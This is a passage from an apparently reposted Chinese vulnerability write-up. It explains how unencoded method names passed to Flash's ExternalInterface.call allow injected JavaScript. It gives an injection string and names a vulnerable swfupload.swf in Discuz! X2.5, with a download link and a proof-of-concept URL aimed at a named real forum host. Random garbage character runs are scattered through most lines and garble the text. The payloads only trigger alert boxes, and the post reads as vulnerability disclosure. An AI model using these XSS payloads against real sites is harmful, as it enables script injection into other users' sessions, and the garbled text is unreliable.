上回我们说
; f* }- q" s8 d4 r) {
- n7 }+ G% m: }% kflash.external.ExternalInterface.call($methodName, $parameter)& N0 k3 I! S5 n2 H# M+ o
在浏览器中执行的是
) D7 t; y2 D* G
+ }7 k( D% W n4 z( M1 [try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
' k+ c6 N6 K& c" n9 J; g对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如% U4 j4 z: B+ t! p: f
- J7 _# c9 K9 j% S( `# B; m! V
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
1 K" }4 m/ D- M$methodName = a())}catch(e){alert(/xss/)}/// C/ R$ ~/ M5 }% L6 J
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
8 b3 A! C2 s- \. n) A9 o+ u1 g6 B5 O% k5 p7 ~
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
! Y" u# [/ C0 L3 e. u: y; Z0 z! n4 J
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )! q1 r* J0 g z" S" Q: b |
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
8 I' x7 e- x5 K- {% H& g, o
; q) Y2 f" n- O9 V9 ~
, ^. T( d4 F/ ^; c u6 m
6 A9 z m9 z _漏洞文件:upload\static\image\common\swfupload.swf8 b. p$ Q7 w2 Z6 ]( |5 A, ?
6 U I: d! q- v5 G9 _; a7 X
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
) m) {$ s X2 ~! u/ n" [. X# y" i2 k: u
5 h7 o4 o# h: b) D6 k0 X z( |3 A
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//8 M! ?* V& L1 v) Z- ]
+ F1 P, X, a# \! s3 D. S7 K0 a, c5 t7 j5 B4 k D# ~! o1 C6 E6 H
|